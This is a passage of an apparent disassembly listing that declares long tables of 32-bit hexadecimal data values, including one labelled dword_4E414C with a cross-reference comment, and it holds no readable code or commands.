		dd 0F44C01C8h, 1BE04143h, 2848686Dh, 0D08A5622h, 467610D6h
		dd 47860779h, 0D630DEECh, 148AF52Bh, 0A404AF49h, 8C05F8h
		dd 0AA1AA62Ah, 0C6D7DFC5h, 9379A905h, 40D481E2h, 10E9ECC8h
		dd 43D3398h, 0EDE3AE8Bh, 846FE203h, 6829A099h, 8C6BEC64h
		dd 0CB0FA9B0h, 0C1505963h, 0B47A71BFh, 4900A06Dh, 92DCE09Eh
		dd 82049DB2h, 8D45CB94h, 7E106CF2h, 24FD9261h, 0A17FFFA8h
		dd 0DA9F7507h, 2E874EDh, 0DC58FB95h, 29F8A455h,	0D946B442h
		dd 1AD9B059h, 80043A18h, 0A7D3577Bh, 591870FDh,	0F36DCA8Ah
		dd 9981F100h, 0F0723EB9h, 83D31398h, 3ADC88ABh,	0F86F89D2h
		dd 6A09AD3Fh, 4C0554F1h, 11E8FD06h, 0C700194Ch,	0E6AED6FAh
		dd 170E1430h, 0C0C216A4h, 421A2453h, 9A931392h,	0D55CC972h
		dd 45090020h, 510BE31h,	0F9027C49h, 0E6EDE86Ch,	22D74F8Fh
		dd 0B424140Ch, 9280F0E8h, 63D57304h, 1124979Fh,	4A8880C7h
		dd 0E467ADCAh, 880955Dh, 39F83F19h, 8B166313h, 3E8140D8h
		dd 86366130h, 0A7021808h, 410D7918h, 8BC8761Dh,	0B0654759h
		dd 186131E2h, 0E6007A52h, 0EF360B64h, 518F4BAh,	56932FA6h
		dd 0E1D40582h, 0BC04BF20h, 80821117h, 69590665h, 4C435801h
		dd 0C0395C28h, 8364D32Ah, 89B569EEh, 0D6D8E250h, 0C4467628h
		dd 30A00A2Dh, 36925BD8h, 0EFD94202h, 0E064CB09h, 2FC0F3B4h
		dd 80A373B1h, 31006556h, 7258BB1Fh, 989C498h, 0EBB0EF8Ch
		dd 0BE096870h, 0FAB142F0h, 0D7D20020h, 13B80C1Ah, 0EB075A37h
		dd 0AFB32B77h, 63ED8F60h, 0FD8C1E1Bh, 0A471D74Fh, 743F8C8h
		dd 92C6810h, 5023A0EFh,	19FC2E80h, 480101B6h, 20D23518h
		dd 1A8811A4h, 3F550068h, 0B796DDC8h, 840043E7h,	74DC07A9h
		dd 968E16F1h, 0E9DF8F30h, 88DE391Ah, 4D191140h,	5EAE00BBh
		dd 73D4174Eh, 0A34BB05Bh, 0ABC32002h, 2090F5B1h, 0D7256127h
		dd 0B94D0ACh, 0EF9CF8D9h, 0E81E80FAh, 29014C3Ah, 18E1DF22h
		dd 8305B111h, 0AC9A7741h, 1A45C0C7h, 0C2AA30C6h, 0F815FA1h
		dd 80BBA802h, 7586FB1Fh, 0C4713802h, 0D9275C52h, 7CC4D4h
		dd 0DDC96EE6h, 735B98C7h, 89017CEEh, 0DAC2C08Fh, 0CC7AEAABh
		dd 16059240h, 0F0700A39h, 0C86C26EBh, 75F32B05h, 0A4E932EFh
		dd 0C5D5FCB9h, 0EF29D00h, 0CF54483h, 9B798010h,	6A67722Dh
		dd 0A9F810A4h, 0FE4E3FB1h, 0B2106313h, 0B77A0068h, 81094024h
		dd 0A5C0BCAEh, 63720CC1h, 30C6F21Ch, 64508584h,	7940CA88h
		dd 1004BF09h, 0F0D902DFh, 0D15089F5h, 18047968h, 0BDD40047h
		dd 9FA3CA8Ch, 453E239Bh, 208CCC6Fh, 0C36A4402h,	87849F0Ch
		dd 43B9E898h, 715221Fh,	1BE73743h, 0BD225117h, 0AB1441A6h
		dd 33DC40D3h, 629FD9C7h, 709D550Ch, 33807F91h, 95581D08h
		dd 2B4CF61Dh, 0A7ED4F47h, 92868D6h, 171C15EFh, 1D9B459h
		dd 78014118h, 91D3CD6Ch, 427EC6FBh, 1868FD90h, 9088B204h
		dd 0C557001Bh, 3EA3BB14h, 45053BE7h, 0F0DC249Bh, 4429444Fh
		dd 0FCB57AEAh, 2791DC08h, 0B4C0CE83h, 304EBBE1h, 0CF8FA445h
		dd 4E16DCA8h, 0B37C4401h, 346BFE38h, 24702E00h,	61F854DFh
		dd 94288A04h, 0F2CA9Bh,	8414C010h, 5C496555h, 3ACB2C99h
		dd 39AF9CC1h, 59AE8700h, 66C102F5h
dword_4E414C	dd 67EA0B38h, 0B0798E98h, 1380681Dh, 0BC2F44FEh, 0D20B2D92h
					; DATA XREF: ___:off_43ACE4o
		dd 7E0C1800h, 0D49E9D30h, 6DD1FF40h, 0B721003Eh, 0A98086EBh
		dd 0DA15BF84h, 9F0600Dh, 7C5BF0D8h, 7F98010h, 436EEB17h
		dd 0DDE6209h, 41281254h, 0C82A5748h, 0C40FC2F8h, 81CDB0F9h
		dd 0DFB97AB1h, 3D006833h, 856FE61Eh, 761D4FEFh,	0ACC0E180h
		dd 0F3BBBA73h, 94B2F6h,	0B0AA3059h, 8395B6F8h, 0A09F2B2Ch
		dd 74ECC8A7h, 4447008Dh, 8ADB15BCh, 61FF994h, 0A4D4A3B4h
		dd 70B02AEh, 0D9595E53h, 181E7978h, 2D0400A8h, 7A73CE92h
		dd 8712B4FEh, 0B8555556h, 6DBCACh, 113A9BCAh, 424AB089h
		dd 0E128ED27h, 582DE228h, 0B5451F04h, 10FCBD06h, 6E5B1E05h
		dd 0D9D500CCh, 5091A9E6h, 0DC60F7CBh, 2B6D2D4Eh, 4B5CE068h
		dd 4956677h, 7BBB78F8h,	97D60248h, 496DFE93h, 4185C3B8h
		dd 0A137B069h, 0C1D068B4h, 0E98CCAB2h, 0DC48C82Eh, 6617D4EEh
		dd 5D0A63D3h, 7D08BCC8h, 0BC1B2D76h, 74091810h,	0AF92F20Eh
		dd 491C49E6h, 0B163C207h, 4DB0E05Ah, 39EB19FBh,	0C78E235Dh
		dd 0D4355ADh, 0A1279C5Ch, 0D9181063h, 69ACF049h, 0DC821109h
		dd 9C825E0Bh, 0C1002E41h, 953A930Fh, 0AB20008Eh, 0B591FB95h
		dd 5D0A5490h, 0EC39B4EDh, 603CFE8Eh, 929F693Dh,	81520023h
		dd 0F033D1DBh, 0F89BC2B4h, 0A0E03D97h, 0F8019794h, 3991477Fh
		dd 696F123Ch, 820AC008h, 0CD17E8E7h, 9B826CDEh,	768A93BBh
		dd 1CB01440h, 2440FD93h, 1F8B280Dh, 9CB07864h, 0D5DA8054h
		dd 9BA6892Ch, 8FB8EC52h, 2B40B8BDh, 38228228h, 64D670E6h
		dd 0D4C4CD89h, 4521770h, 10AE0E8h, 0EA3F3330h, 56CA3078h
		dd 2DE9007Ch, 0CE59766h, 0C0B61E4Eh, 3258B24Fh,	0A97FFC43h
		dd 8E8056ACh, 0B285DD44h, 0E3202C02h, 1588E673h, 977240B4h
		dd 82EB27h, 6F212B94h, 70D8560Eh, 0D6906E28h, 55B8D8E0h
		dd 41821742h, 1C79E4E0h, 276A4E88h, 31E22C65h, 21541861h
		dd 0AA27B80Bh, 0CA5C41BFh, 5AFC02h, 6ADC70E5h, 96506895h
		dd 570C07Fh, 72FB5EAh, 89D4B700h, 427A696Eh, 0E96800E4h
		dd 2A9359C5h, 9730D133h, 61B22151h, 0F37792Bh, 79505815h
		dd 0DAA4E983h, 0E7B79BA0h, 0A9104897h, 4A4B07DCh, 80545CD0h
		dd 2FBFF035h, 0A60071F2h, 0D59809D2h, 29A8941h,	72DDC8B4h
		dd 60C26F2Ch, 0A4F4F889h, 279CE0Bh, 164E4F8h, 3EE0DCC9h
		dd 0A1AC2420h, 80132628h, 9256004Dh, 0A65E25Fh,	0BCE2045Ah
		dd 0E20A12BAh, 1C390402h, 47A8616Fh, 6CF9108Ch,	0A0401008h
		dd 0A245408Eh, 54280F63h, 8083173h, 149F421h, 88C8E9Dh
		dd 25202E3Bh, 63964C40h, 750B101Ah, 86CE0819h, 0D1114418h
		dd 9F3F01F0h, 70DC001h,	270613E4h, 58330811h, 767620B1h
		dd 7D8D4071h, 28084262h, 0AB20384h, 41763031h, 1898BD0Fh
		dd 0ADD76920h, 0CC53FC80h, 5D59E408h, 7B194366h, 81417128h
		dd 5191881Ah, 7D5C08EFh, 6051A319h, 4A0818Dh, 88626110h
		dd 0C030108h, 5820963Ah, 636D6540h, 0BFCD1093h,	0FC590810h
		dd 202C9E18h, 8CC66B4h,	40FB5981h, 0E5631907h, 318FBD10h
		dd 0CC316308h, 56DD0177h, 12D0D01h, 0D102F394h,	0FD0BE8A2h
		dd 5B4BF02h, 98E0446Dh,	95A606F6h, 8446241h, 6E02BAB3h
		dd 8165065Fh, 54FAC020h, 4098E832h, 6B63235Eh, 1D053A08h
		dd 2016E918h, 6CED6A40h, 5059B9B7h, 0F4DE94A8h,	912C10CCh
		dd 7EB6405Ch, 9A75F4A8h, 0CDEA4680h, 0F9797430h, 0B9089802h
		dd 818873D9h, 0EA002499h, 8824B0A9h, 0C4ACF79h,	60497EC6h
		dd 0E70710C6h, 8CC35408h, 9C4C4093h, 0FE280163h, 1EF932B2h
		dd 0F8048E59h, 0A3D88891h, 92909024h, 4D534024h, 0EB843040h
		dd 52AAF301h, 0BF0448C8h, 1489A491h, 78D50888h,	0CEE0E08h
		dd 34286354h, 40E51040h, 0C0645964h, 98912218h,	0F5011B66h
		dd 105D0361h, 33B17929h, 249EB145h, 88A843E1h, 0B019F1EFh
		dd 0C198E5B1h, 0A7BAF105h, 0F2FE08C4h, 45DAC04h, 260A448Bh
		dd 0FE6D889Ch, 3C5D7B12h, 990E59F1h, 35F7901h, 2020CEC6h
		dd 0F26257A6h, 2943D11h, 1C0323A1h, 0D3081015h,	0A0B72A24h
		dd 33F5AF20h, 0E7187A86h, 0B09704FCh, 4164C04h,	620998AAh
		dd 0B51E3022h, 0AC918504h, 11A26ED9h, 0E02C54A0h, 0D5A04028h
		dd 0E08A39CAh, 8FDA888h, 0C20243CDh, 64E1BE86h,	0A9B30FA4h
		dd 0A03666ADh, 0AC135BE4h, 0D8E85E45h, 76A61301h, 0E04FDA33h
		dd 8D161887h, 8441E5E1h, 0ED61D6A9h, 16AC19E8h,	664717h
		dd 85343618h, 0DC086097h, 8F1FE452h, 16009871h,	3D9120CFh
		dd 0CABDB51Ch, 0C05E78D0h, 0D9974CB0h, 0A7C760C0h, 2AB9A0h
		dd 2D285B02h, 0C686C585h, 0AC60F5F8h, 0D6E4318h, 6695309Fh
		dd 0A74162D1h, 10F52530h, 7843E40Eh, 21C90096h,	454C5AC8h
		dd 82006B1Bh, 240F8F91h, 5901B4h, 94FF641h, 5ABF5C7Eh
		dd 0C4DF4903h, 0B02C745Bh, 0A105E672h, 2478F693h, 465EF1Eh
		dd 412D2659h, 86D02AE0h, 8341989Fh, 0BAF3FA0Dh,	5E3D1180h
		dd 6D0040B6h, 8FCD1FACh, 8EF700D9h, 593110A5h, 976E451h
		dd 0D5EC7900h, 267B25B0h, 4E241F80h, 0DB1C4005h, 0D1928D40h
		dd 1B9A9F00h, 49E03B38h, 9840F5F9h, 0F0D546AAh,	90356093h
		dd 86D41FC3h, 163A7E2h,	0B0C59181h, 1D881DBBh, 89D769h
		dd 0FD1E2A7Dh, 0CB27A70Bh, 8E788112h, 0AC43810Eh, 9C98B8ACh
		dd 80030C79h, 0E9F00D59h, 0EF01757Eh, 61DA0E96h, 199F2EFFh
		dd 43F2C15h, 0AAD55FACh, 0E0006489h, 59786DDh, 0A9C03466h
		dd 411000AEh, 7FD0E9Eh,	76887001h, 72B1B609h, 8930803Bh
		dd 0AF6F86CDh, 9FDF62E0h, 0E9F890FDh, 1A6EC1Dh,	4061FFC2h
		dd 20169252h, 0E5410E24h, 0C8EC2C53h, 92BF2DA7h, 2C5C3C28h
		dd 3C81F930h, 0D40CC4D5h, 596882E2h, 979F2843h,	1A491934h
		dd 0C5AC50F1h, 0CBC06B23h, 1F2D5099h, 67E35Fh, 9E8D1644h
		dd 2C62DAC0h, 7A6DE489h, 24710220h, 44C7B185h, 7D68BD00h
		dd 30287D88h, 0FD305FFBh, 9540F5B4h, 94875067h,	808300ADh
		dd 5B590ABAh, 0D027F6Ah, 74D2990h, 71088013h, 2E40FB5h
		dd 52334C6Eh, 17432A11h, 38E1F00Ch, 14B9C86Dh, 0AC67F432h
		dd 1EA88724h, 3AAFC0D9h, 0E4073073h, 0FB474B00h, 0EA87D3A8h
		dd 5FD100B4h, 0A7AC6AFAh, 81E378Ch, 9C95E2BFh, 0C007008Ch
		dd 0F57853F0h, 900AFA66h, 0DBC40160h, 1D4C16B7h, 50076F6Bh
		dd 0F5830EADh, 0F0105132h, 7338D06Bh, 4101A9B9h, 307BB620h
		dd 0FAC85FD9h, 0D584003Ch, 54353D26h, 0E139E60Bh, 807D81B2h
		dd 0B4DFA703h, 5157408Eh, 0A3EDA5h, 86D5819Ch, 0A24DB2Eh
		dd 2C40D01Ch, 24E2724Bh, 843806B5h, 951ACDA7h, 61641278h
		dd 0E05E4B24h, 650282E8h, 4FCAD77Fh, 654683Dh, 0FBB63934h
		dd 251C28B8h, 0B46A075Fh, 0A8802DADh, 0B5060810h, 6F2B2173h
		dd 2FC601D0h, 0EB1B207h, 872882D4h, 446EE1F8h, 49A77910h
		dd 98744811h, 0EA3426BDh, 35B133Ch, 91BEA734h, 18F048h
		dd 7E63D5F9h, 0C1BFC9B4h, 0E472D640h, 8128406Ch, 0AE48669Ah
		dd 68BD2D80h, 80688F2Ch, 401335A6h, 6C047D5Eh, 541DD2BCh
		dd 0FD96486Ch, 0B43D0460h, 1C850C8Fh, 0F2C6E44Fh, 89DEEA06h
		dd 5B13C08h, 0D3282064h, 0C1CED1CCh, 4FEC0A03h,	6F86A7h
		dd 0E0B809E0h, 0E1BB61FCh, 0D9324072h, 106F8116h, 0C8A49B9Fh
		dd 0A81D1B31h, 1F00DE87h, 0AD00674Eh, 0E949A9BFh, 1E2B80A1h
		dd 5FAC37E7h, 1D430015h
		dd 0FDB2E403h, 0CABC1403h, 0BA49F11Fh, 0A2E4A26Eh, 0E73080D6h
		dd 98570669h, 48DE75DCh, 0B4831C20h, 907743AAh,	86E0E218h
		dd 10E6BEA9h, 21CEF36h,	0CD757241h, 0AE9D4089h,	572E0202h
		dd 0F9E149CCh, 2FDE1C60h, 0EB39103h, 0AAA9CDD2h, 9634C057h
		dd 8028093Ch, 0E082BF6Ch, 0DC074F24h, 21EB6170h, 4C5213CAh
		dd 0ACEC40A9h, 0D3A1B6ADh, 131F103Eh, 7452FBB7h, 82B12009h
		dd 55D09F8h, 0CFC40542h, 78F10080h, 0A7D1160Bh,	0F8175837h
		dd 82751280h, 0AA9B00ECh, 5BEAA841h, 0DB505FA7h, 270E58FCh
		dd 8F59DC91h, 0E29B01AFh, 55CD84B2h, 6300B878h,	96F042F3h
		dd 2558BDA3h, 4C9050FCh, 98E71F26h, 739AA780h, 30E16EB1h
		dd 0B23875C3h, 0C0A6DADEh, 0D4AB38h, 224197FBh,	15688AFh
		dd 0BE614F68h, 64B321A7h, 48B045ACh, 70A1C99h, 0C262D41Eh
		dd 0D6404136h, 210E9092h, 33654Ch, 6F6F903h, 9FE2BE27h
		dd 0C053874h, 0EFEE6AAFh, 0D670F091h, 0A7B66100h, 6809E330h
		dd 50D2DC92h, 6287E81Bh, 0A974703Fh, 0EBBB6860h, 0AA71E8C3h
		dd 10ACC172h, 0E100C065h, 0D2E0DAh, 4EA95BA5h, 0C05D4B37h
		dd 6DE29D03h, 0E12EEFD3h, 0A941AD46h, 0C2E1583Eh, 0E5978A30h
		dd 3DC0E182h, 4C09215h,	0D900A8D0h, 5F4B592Fh, 341E47Bh
		dd 4C10BB2Ch, 78000A39h, 0FB745709h, 0DD9232h, 341E91FCh
		dd 41F2FDB4h, 0A5E04F75h, 5CD3A0A0h, 872D4E14h,	0FBDD00DCh
		dd 0D5119DC7h, 0C5B33C06h, 0D36E6D0Ah, 925805D2h, 0A7689C76h
		dd 0A8940232h, 0C1DB6398h, 0B0629914h, 5886BE41h, 30B9B2B1h
		dd 0EA732F0Bh, 149CB815h, 0BFCD06DDh, 59C27632h, 6811120h
		dd 97B4FF24h, 0D09318B6h, 8BCF9C24h, 35D41898h,	4100F90Bh
		dd 0B1005C9Ah, 0BE285ABBh, 7ADC0AC2h, 8EE21929h, 23653010h
		dd 0E0DB2D20h, 1D928DCh, 0AE0C352h, 4112E1FBh, 4D158F4h
		dd 7061D00Eh, 2B05724h,	91853589h, 0C54D7C48h, 475E280h
		dd 1F2658D5h, 0AB54C08Dh, 5090BDDh, 9149391Ch, 640975F0h
		dd 0EC7EB4B8h, 481E88D6h, 0AB00DDD0h, 1C13CEFBh, 0A0009FCBh
		dd 7D6D6145h, 103B624h,	0BDA851E1h, 0C4A789F0h,	0B49AF94Dh
		dd 6C5FC919h, 0B052B5E1h, 48A0E281h, 609B4C18h,	1AFF2069h
		dd 0B42F3140h, 0DA30409Dh, 80A52EE2h, 12D9788h,	8CB43AECh
		dd 0ABA180A7h, 1244A9F3h, 0DC593A61h, 0C8307EA5h, 0D103428Ah
		dd 0A77F180Ah, 5C18A6A9h, 6062830Dh, 0C00A99C4h, 50EC05B9h
		dd 0E831969Fh, 3070BE43h, 0F5BF00ACh, 1AC3EF90h, 7D6FDC4Ch
		dd 0FD9F45B8h, 7844A0F5h, 923D24A0h, 0D3C20688h, 20F563E2h
		dd 73C8E360h, 0C22F414Ch, 0D53AA721h, 234EACC9h, 0D4131008h
		dd 65616E0Eh, 0BCB2A7C3h, 1C092800h, 0DDEE2B47h, 72500171h
		dd 0E2E0BEECh, 25287CB7h, 17032B3h, 0A4F9A78Ch,	0E9084080h
		dd 0BAFB8AB5h, 0F3B8C10Eh, 6F524B1h, 0F954C3h, 4122AFEEh
		dd 6FF7C233h, 5C2111C0h, 58831FC6h, 7126DC53h, 125C2624h
		dd 3244207Eh, 48C32984h, 9883A7h, 0AAA9270h, 3E4C3DE0h
		dd 5848D859h, 10485840h, 8513542Ah, 88E0253Dh, 0B8C47694h
		dd 41EB8D6h, 0A244AC48h, 2D5004ECh, 0EC22C585h,	4892D4C1h
		dd 5C0361E0h, 0D6D2CDCh, 0B186A84Fh, 2A8B1ECh, 651EF6AFh
		dd 0AA399240h, 60C0F17Bh, 2C1DBA35h, 0F35878D9h, 0D4940845h
		dd 488EC4C2h, 3975FC78h, 0B10D67B3h, 0DDF86F2Ch, 0C49821A0h
		dd 47F5B3Ah, 9349F00Ch,	0AAF894h, 651BD5ADh, 0E864366h
		dd 0BB244197h, 92ECC36Fh, 97AC4ACFh, 0E008445Fh, 4C1C8007h
		dd 0BA488F49h, 24713B48h, 0B1160877h, 28C49005h, 9B330081h
		dd 5DBE6880h, 436EE420h, 46A82500h, 0A949EE87h,	8120D2FDh
		dd 1578B238h, 3B097091h, 0C0B1BA01h, 8096625Ch,	904EA990h
		dd 1B2D277Ch, 0B1B0EF06h, 18DDD2h, 0B39CF85Fh, 0A6435C55h
		dd 1C9ACD3Ah, 66009F23h, 0E1DAA29Bh, 249C99B5h,	0C09182FCh
		dd 48695842h, 40B42CB3h, 0BD6735A8h, 3271D329h,	11A2D070h
		dd 269486F8h, 1F64E409h, 0D9901E3h, 0E0B26810h,	0A8A86349h
		dd 3360284Ch, 0B62AC578h, 0A028928Ch, 9006D130h, 92A718FCh
		dd 1A43E175h, 7C091FF8h, 84D4C8B4h, 68E46248h, 604B40F9h
		dd 8E42D0A8h, 19FB0E17h, 4C39E480h, 506E5092h, 11672EE1h
		dd 876CA9F4h, 9B49AAF8h, 94B8A5h, 0A891AB80h, 4995C5Ah
		dd 0BCB0AC0Ah, 2CC45745h, 9666F888h, 0FA82104h,	2E806C1Fh
		dd 0F44C0FDDh, 91F48E50h, 6171A301h, 0BD0EA748h, 3AE7F880h
		dd 95DCA26Ch, 79768B03h, 0DA19B1AEh, 0F9D06661h, 2DC801h
		dd 0F91D2C7h, 0FC90828h, 71DA70E0h, 0DC005E64h,	0DE0E9E58h
		dd 1DC341E7h, 22EA60Dh,	0C4ABAC2Ah, 18A6704Bh, 202FF1F5h
		dd 0B5407B64h, 0E0D40780h, 56A73313h, 6698A0AFh, 7F317904h
		dd 8D82841Ah, 84785Ch, 5908B224h, 0F3C56A2Fh, 89A9D338h
		dd 25461F7h, 0A80FF9CCh, 9B88BCB4h, 0A9BE091Ch,	5DE21C9Bh
		dd 0B607FC54h, 84C72ADCh, 0A704E839h, 9C714DA5h, 1C00EC45h
		dd 70C84FD9h, 30A060A7h, 0A591B673h, 0C2F1E225h, 498C44ECh
		dd 0A09474E4h, 69A7DE04h, 8D2B00F4h, 243C4F0Eh,	9147F85h
		dd 0C0020DEAh, 0B00207C8h, 6114E1B3h, 1E7011A6h, 0CBEEC0D5h
		dd 0A16427C3h, 0AE3EDD05h, 0D4047C2Bh, 30D49DACh, 0C165A080h
		dd 9BA12A2Ah, 61D1026Ch, 2D60E9FBh, 38361461h, 0A0198728h
		dd 0E5FBD290h, 0BCE4E975h, 4B64BA7h, 0C2EA76C0h, 0D8E65B40h
		dd 0B20A54A0h, 2129E700h, 13A7D022h, 8930C6DDh,	0E030F049h
		dd 0F36E41D2h, 0B477244Ah, 7E1911A0h, 7FC23E01h, 93F749D1h
		dd 72CC092h, 42528454h,	907110EAh, 8D3049C1h, 0C10830A6h
		dd 7278B1E1h, 26B60458h, 7CC43BCEh, 73A088C7h, 2E339CC8h
		dd 1DEF4D59h, 9FEDC08Dh, 0B1CCDEFEh, 0E7B7DB01h, 10237F5Fh
		dd 16F5ECF0h, 161629C9h, 158B85Ch, 49DDAA6Ch, 0B854F420h
		dd 0E0E9B4C2h, 474120h,	806FFDDEh, 2BE76A06h, 0C2DB42Ch
		dd 0BFBEF79Eh, 21591D05h, 81A44080h, 39CABFA9h,	5A81A868h
		dd 48DFA041h, 0EEFCCC69h, 0C8349000h, 0A7C731C2h, 0A8AD5138h
		dd 0D2E429F1h, 0E6B4B235h, 5893F2h, 190B9FA5h, 0C75176E1h
		dd 82F52088h, 923E4109h, 2EA44E1Eh, 80D83BC9h, 0E36AF718h
		dd 0E0B0E0B9h, 0C18E460h, 9AF6F6Ch, 38DB49FBh, 0C7B31C24h
		dd 0CAB434h, 68FB5FC6h,	0C97734B4h, 0FC60C058h,	6F0A3532h
		dd 0D8EC504Ch, 6844590h, 0B90F213h, 0E60FB5h, 0A81B0C8Ch
		dd 4B0B1E28h, 49D906DDh, 5C0E29F3h, 6038E8ACh, 0D6BBCF4Ch
		dd 285A03C9h, 6B3133CAh, 437CD9FDh, 1BC8D31Ch, 0B0F2E3C5h
		dd 9943A900h, 1D238F8Ch, 0F8485C56h, 804D8300h,	0DB4BE9ECh
		dd 11449A1Fh, 0BC79FF00h, 1C8D858Bh, 807468B7h,	4FD6B22Ch
		dd 0D5492603h, 0F40E26F8h, 78312183h, 7213E07Ah, 0E85A5CDCh
		dd 0EC05B4D5h, 10A92A49h, 0BBC1D8E4h, 0CBCBE2DEh, 0E105DFF2h
		dd 9981D031h, 1FD9430h,	675C5B60h, 28BB8517h, 0B12D25E0h
		dd 0D463AC68h, 20E40B18h, 0FE06CB61h, 0F46EE11Ch, 43221228h
		dd 1DE85608h, 0ACB4A4B0h, 0ECB7BEB8h, 0A4BA7110h, 5861FABBh
		dd 77A0274h, 44C0294Ch,	165A7331h, 0C60BE816h, 58B8CA32h
		dd 5CDB4BC8h, 13AB902Ch, 0C8C10BDAh, 0F86CEEF2h, 0C07B129Eh
		dd 2F1908E8h, 2404D1D2h, 0CB1CD90Ah, 2C40C239h,	525987B4h
		dd 31606158h, 88246BAAh, 7259C4B6h, 4494C0ECh, 29D30D6Eh
		dd 0BA5FCC71h, 58D4E471h
		dd 782A00EEh, 35E8CB1Ah, 4A6193B4h, 0E6E2D6B0h,	0BD9007F3h
		dd 40347EA3h, 499B8AE0h, 12CAE5Dh, 0B92948ACh, 603870h
		dd 44968463h, 3EA36A88h, 591D4D3Eh, 9249046Eh, 72FB0979h
		dd 9C9F0070h, 303BE347h, 65FAB2E4h, 1F137502h, 826AE1EBh
		dd 784DA708h, 0A35B7110h, 0C6040EBEh, 79CC2C71h, 667192A8h
		dd 0C00BE8CCh, 0FADA00BFh, 7B71AE8Dh, 36204C07h, 2E49014h
		dd 0A73D81CAh, 0FC6CD41Fh, 0A48476C9h, 0B080AFACh, 90DDA349h
		dd 0A7D108E8h, 7D39F340h, 6060E2Fh, 0B9F889CCh,	69E1861Ch
		dd 71FD48CFh, 6C60C620h, 8619DC71h, 16B00E79h, 0BAFB0030h
		dd 0B4A49BF0h, 9B8C0E0h, 7800FCABh, 9F7C4673h, 13D468E7h
		dd 3EC6A8Ah, 0E36E25Dh,	0C4026877h, 75FC9067h, 0DF9E8526h
		dd 0EFE370D9h, 0B38C00FBh, 3AA37758h, 2000D3C4h, 8C7633E2h
		dd 0D73284Ch, 7875B724h, 8240D188h, 0FDD386C5h,	60033866h
		dd 49851FC6h, 0C1B90071h, 69B4EB87h, 0E102DCACh, 0A952DAB7h
		dd 0F13063E9h, 89F053ECh, 0A097F054h, 0F5B1C008h, 0DD5825CFh
		dd 0ABA73402h, 5DC188C8h, 0E47E9226h, 68F65FE0h, 604300ACh
		dd 9197980h, 0F51ED61Ch, 4B07956Dh, 1D844C72h, 93FDAC90h
		dd 6E3007Eh, 9F2E4399h,	0CA001C98h, 6EE4113Eh, 7CA2C7EFh
		dd 84E81ED3h, 61B109E9h, 10DEA800h, 309B331h, 56B89C4Ch
		dd 970C2408h, 8A7CD7DCh, 0C9D6E6E0h, 74090B6h, 1CB6D13h
		dd 0B8A9C023h, 0F078AD99h, 0F89E55DAh, 3D9A4C04h, 780E141Eh
		dd 0A78801D6h, 0A875573Eh, 240976B0h, 85F85F25h, 0FCA87310h
		dd 0EAFA8A00h, 86DD8957h, 38DFB114h, 93D400E0h,	0CF66CEC6h
		dd 0C8B40FE1h, 1FC733C4h, 46C8589h, 9773DC08h, 97CDB24Ch
		dd 88BFA8C8h, 0A940E705h, 0EC012D4Ch, 0C732D95Fh, 1F1109CCh
		dd 8A1076C6h, 188CB8Ah,	6AE2DAC8h, 114087C2h, 24EFB847h
		dd 57C0294Ch, 91635CB4h, 0C1A82Ch, 2F20AF99h, 34B3E40Eh
		dd 0EA8CCB12h, 0C1E31C00h, 0E9C966h, 505AE0BFh,	0A7026421h
		dd 88BC292Ch, 0B0BC0820h, 0E9B84925h, 307FFFh, 0B7AE25A8h
		dd 0D9CCA7A9h, 0C8907873h, 85FAC28h, 14495A28h,	40C9E04Eh
		dd 482C30FCh, 18102804h, 0E5007F09h, 4A715C3Dh,	0AAC359D5h
		dd 0DB0041B8h, 0DA3AD810h, 0E127F103h, 0AA5876BAh, 0CC607D39h
		dd 460F41A9h, 0E5034A22h, 0C8E71F90h, 0EC11A712h, 3442534h
		dd 8E8FE268h, 91B50528h, 88255AA3h, 434CAA84h, 3EE21254h
		dd 2056DC42h, 2A246C61h, 4E185B5Ah, 0CCC4245h, 0D07205E6h
		dd 8535541Dh, 52F5A746h, 7D2C2480h, 768B08C8h, 6CBEF00h
		dd 75B9779Bh, 0A400951Ah, 0A653E94Bh, 27675C94h, 14E050C5h
		dd 0B5C6252Ah, 0CDFDD010h, 5A1F2499h, 0A5A26B80h, 0F0DAD188h
		dd 16EC1D30h, 0C1898BFFh, 80433CA4h, 6D182AA8h,	144E39D2h
		dd 0E75838E0h, 280F9731h, 0D16C2DA0h, 0A70469B5h, 0D3D449D8h
		dd 4453D491h, 202AFC61h, 2B6C6DB8h, 256060B8h, 0B1B9BB7Eh
		dd 0B801601Dh, 0BCA494F7h, 0E42C4078h, 20008654h, 419ADFC7h
		dd 0F2B51C2Fh, 58492549h, 30B86166h, 0B917D424h, 50325FA9h
		dd 500511Ah, 97E4457h, 5051DE44h, 8A560F42h, 830278C0h
		dd 0DEE917h, 16A14C08h,	341F71DDh, 9C826080h, 25A7DF14h
		dd 38247506h, 31B4432Ch, 8AD0260Ah, 0EDB10FB5h,	0D1184153h
		dd 8215E949h, 19C59628h, 9CA8D1ABh, 9678D6E1h, 0B2470F8h
		dd 67100807h, 0B1610C0Fh, 10671513h, 0BA78884Ch, 0B99F050h
		dd 7A2A2349h, 0F82F2CEBh, 0B18818D5h, 70AA61A2h, 786894D1h
		dd 0B0499230h, 90742Ch,	853D9FC4h, 641740D4h, 4822996h
		dd 7C7C48F2h, 592A0645h, 802378B4h, 1560B195h, 0AC2C91D9h
		dd 3821FE86h, 4BF116A0h, 74735901h, 0D938A5BCh,	9C31C1F9h
		dd 0B481846Ch, 34D11AF6h, 0D95E499Ch, 8992540Ch, 1082EBACh
		dd 0E67791C3h, 2CC10442h, 9EA0011Dh, 180DEF03h,	992B0880h
		dd 0BE04C440h, 421896A9h, 108A1A80h, 0F7026D0h,	88C96BA5h
		dd 89ED2C00h, 0E11033B0h, 0EC40983Dh, 0F8086257h, 0C48458D9h
		dd 0C118A8DEh, 0AA902AC2h, 87C44Ch, 0BDFBABFCh,	9F1E2238h
		dd 1A69F800h, 0B6E1DE68h, 0EED80417h, 0D018A728h, 0BEF40E48h
		dd 8D4AAF01h, 80FE785Eh, 265AE0h, 0A507B7F1h, 0BDA6E61h
		dd 0CAF4C909h, 0BCC4D9h, 0A997D586h, 8D652B3h, 248DE0Fh
		dd 800936B1h, 4CB8E027h, 25989E65h, 2E6C30C9h, 4A746401h
		dd 0C0E26472h, 80C4A430h, 63A4C21h, 24460259h, 60918245h
		dd 0A8F8D486h, 4606BDCh, 0A7250F3Dh, 61AC9085h,	919762BCh
		dd 0F448ADB0h, 0DBB70689h, 211528E2h, 0DADDA804h, 0ACBCC849h
		dd 10E8A0D2h, 61CEC916h, 48EC6C88h, 0FD006443h,	0CAC36328h
		dd 21C20823h, 4056341Eh, 0BE27308h, 8FE11FB2h, 1317B478h
		dd 0D2003A2Dh, 31E84DA3h, 5AE8AEh, 0FD3DE323h, 0B938B478h
